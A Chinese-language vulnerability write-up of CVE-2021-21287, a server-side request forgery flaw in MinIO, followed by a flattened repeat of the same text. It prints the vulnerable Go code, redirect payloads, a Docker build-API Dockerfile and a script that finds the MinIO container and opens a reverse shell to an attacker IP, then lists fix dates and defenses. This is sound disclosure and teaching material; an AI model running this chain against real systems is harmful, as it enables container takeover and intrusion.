CVE-2021-21287: 容器与云的碰撞——一次对MinIO的测试
字数 1365 2025-08-10 08:29:04

MinIO SSRF漏洞分析与利用教学文档

0x00 MinIO简介

MinIO是一款开源的对象存储系统,具有以下特点:

  • 完全兼容AWS S3协议
  • 支持作为S3网关
  • 可部署在私有云环境
  • GitHub上拥有25k+ stars
  • 默认监听9000端口

0x01 漏洞环境分析

测试环境配置:

  • MinIO运行在Docker Swarm集群中
  • 外部可访问地址:http://192.168.227.131:9000
  • 无可用凭证信息
  • 主机系统:CentOS,防火墙开启
  • 仅开放9000端口
  • dockerd监听内网2375端口(Swarm管理节点监听2377端口)

0x02 漏洞发现过程

代码审计重点

  1. 前端接口分析

    • 用户代理需匹配.*Mozilla.*才能访问前端接口
    • 前端接口实现自定义JsonRPC
  2. 鉴权机制

    • 使用JWT鉴权
    • 限制alg类型,防止常见JWT攻击:
      • 禁止"none"算法
      • 禁止RSA转HS256
    • 使用用户密码作为签名密钥
  3. 未授权接口发现

    • LoginSTS接口:AWS STS登录接口代理
    • 将JsonRPC请求转换为STS请求转发到本地9000端口

SSRF漏洞成因

关键问题代码:

func (web *webAPIHandlers) LoginSTS(r *http.Request, args *LoginSTSArgs, reply *LoginRep) error {
    ctx := newWebContext(r, args, "WebLoginSTS")
    v := url.Values{}
    v.Set("Action", webIdentity)
    v.Set("WebIdentityToken", args.Token)
    v.Set("Version", stsAPIVersion)
    scheme := "http"
    // ...
    u := &url.URL{
        Scheme: scheme,
        Host: r.Host,
    }
    u.RawQuery = v.Encode()
    req, err := http.NewRequest(http.MethodPost, u.String(), nil)
    // ...
}

漏洞点:

  • 从用户可控的Host头构造目标URL
  • 导致服务端请求伪造(SSRF)

0x03 SSRF漏洞利用

基本验证

请求示例:

POST /minio/webrpc HTTP/1.1
Host: 192.168.1.142:4444
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Content-Type: application/json
Content-Length: 80

{"id":1,"jsonrpc":"2.0","params":{"token":"Test"},"method":"web.LoginSTS"}

限制:

  • 只能控制Host和WebIdentityToken参数
  • WebIdentityToken经过URL编码,无法注入特殊字符

漏洞升级技巧

  1. 302跳转升级
    • Go的http库默认跟踪302跳转
    • 可构造302跳转获得可控URL的GET请求

PHP示例:

<?php
header('Location: http://192.168.1.142:4444/attack?arbitrary=params');
  1. 307跳转升级
    • 307跳转不改变原始请求方法
    • 可获得POST请求SSRF

PHP示例:

<?php
header('Location: http://192.168.1.142:4444/attack?arbitrary=params', false, 307);

0x04 攻击Docker API

Docker API利用点

  1. build API

    • 路径:/build
    • 关键参数:
      • remote: Git仓库URI或HTTP/HTTPS上下文URI
      • dockerfile: Dockerfile路径
      • t: 镜像标签
  2. 利用方法

    • 通过remote参数指定远程Dockerfile
    • 在Dockerfile中执行任意命令

示例Dockerfile:

FROM alpine:3.13
RUN wget -T4 http://192.168.1.142:4444/docker/build

构造的307跳转:

<?php
header('Location: http://192.168.227.131:2375/build?remote=http://192.168.1.142:4443/Dockerfile&nocache=true&t=evil:1', false, 307);

0x05 最终利用 - 获取MinIO容器权限

自动化攻击脚本

Dockerfile示例:

RUN apk add curl bash jq
RUN set -ex \
    { \
    echo '#!/bin/bash'; \
    echo 'set -ex'; \
    echo 'target="http://192.168.227.131:2375"'; \
    echo 'jsons=$(curl -s -XGET "${target}/containers/json" | jq -r ".[] | @base64")'; \
    echo 'for item in ${jsons[@]}; do'; \
    echo '    name=$(echo $item | base64 -d | jq -r ".Image")'; \
    echo '    if [[ "$name" == *"minio/minio"* ]]; then'; \
    echo '        id=$(echo $item | base64 -d | jq -r ".Id")'; \
    echo '        break'; \
    echo '    fi'; \
    echo 'done'; \
    echo 'execid=$(curl -s -X POST "${target}/containers/${id}/exec" -H "Content-Type: application/json" --data-binary "{\"Cmd\": [\"bash\", \"-c\", \"bash -i >& /dev/tcp/192.168.1.142/4444 0>&1\"]}" | jq -r ".Id")'; \
    echo 'curl -s -X POST "${target}/exec/${execid}/start" -H "Content-Type: application/json" --data-binary "{}"'; \
    } | bash

脚本功能:

  1. 遍历所有容器,寻找MinIO容器
  2. 获取容器ID
  3. 使用exec API执行反弹shell命令

0x06 漏洞修复时间线

  • 2021年1月23日 21:11 - 漏洞提交
  • 2021年1月24日 03:06 - 漏洞确认
  • 2021年1月26日 02:15 - 修复合并到主线分支

0x07 防御建议

  1. MinIO配置

    • 更新到修复版本
    • 限制Host头的可信值
    • 加强JWT验证机制
  2. Docker安全

    • 避免将Docker API暴露在网络上
    • 使用TLS认证
    • 限制网络访问
  3. 通用防御

    • 实施网络分段
    • 监控异常请求
    • 定期安全审计

附录:参考链接

MinIO SSRF漏洞分析与利用教学文档 0x00 MinIO简介 MinIO是一款开源的对象存储系统,具有以下特点: 完全兼容AWS S3协议 支持作为S3网关 可部署在私有云环境 GitHub上拥有25k+ stars 默认监听9000端口 0x01 漏洞环境分析 测试环境配置: MinIO运行在Docker Swarm集群中 外部可访问地址:http://192.168.227.131:9000 无可用凭证信息 主机系统:CentOS,防火墙开启 仅开放9000端口 dockerd监听内网2375端口(Swarm管理节点监听2377端口) 0x02 漏洞发现过程 代码审计重点 前端接口分析 : 用户代理需匹配 .*Mozilla.* 才能访问前端接口 前端接口实现自定义JsonRPC 鉴权机制 : 使用JWT鉴权 限制alg类型,防止常见JWT攻击: 禁止"none"算法 禁止RSA转HS256 使用用户密码作为签名密钥 未授权接口发现 : LoginSTS 接口:AWS STS登录接口代理 将JsonRPC请求转换为STS请求转发到本地9000端口 SSRF漏洞成因 关键问题代码: 漏洞点: 从用户可控的Host头构造目标URL 导致服务端请求伪造(SSRF) 0x03 SSRF漏洞利用 基本验证 请求示例: 限制: 只能控制Host和WebIdentityToken参数 WebIdentityToken经过URL编码,无法注入特殊字符 漏洞升级技巧 302跳转升级 : Go的http库默认跟踪302跳转 可构造302跳转获得可控URL的GET请求 PHP示例: 307跳转升级 : 307跳转不改变原始请求方法 可获得POST请求SSRF PHP示例: 0x04 攻击Docker API Docker API利用点 build API : 路径: /build 关键参数: remote : Git仓库URI或HTTP/HTTPS上下文URI dockerfile : Dockerfile路径 t : 镜像标签 利用方法 : 通过remote参数指定远程Dockerfile 在Dockerfile中执行任意命令 示例Dockerfile: 构造的307跳转: 0x05 最终利用 - 获取MinIO容器权限 自动化攻击脚本 Dockerfile示例: 脚本功能: 遍历所有容器,寻找MinIO容器 获取容器ID 使用exec API执行反弹shell命令 0x06 漏洞修复时间线 2021年1月23日 21:11 - 漏洞提交 2021年1月24日 03:06 - 漏洞确认 2021年1月26日 02:15 - 修复合并到主线分支 0x07 防御建议 MinIO配置 : 更新到修复版本 限制Host头的可信值 加强JWT验证机制 Docker安全 : 避免将Docker API暴露在网络上 使用TLS认证 限制网络访问 通用防御 : 实施网络分段 监控异常请求 定期安全审计 附录:参考链接 原文地址: phithon's blog MinIO官网: https://min.io Docker API文档: https://docs.docker.com/engine/api/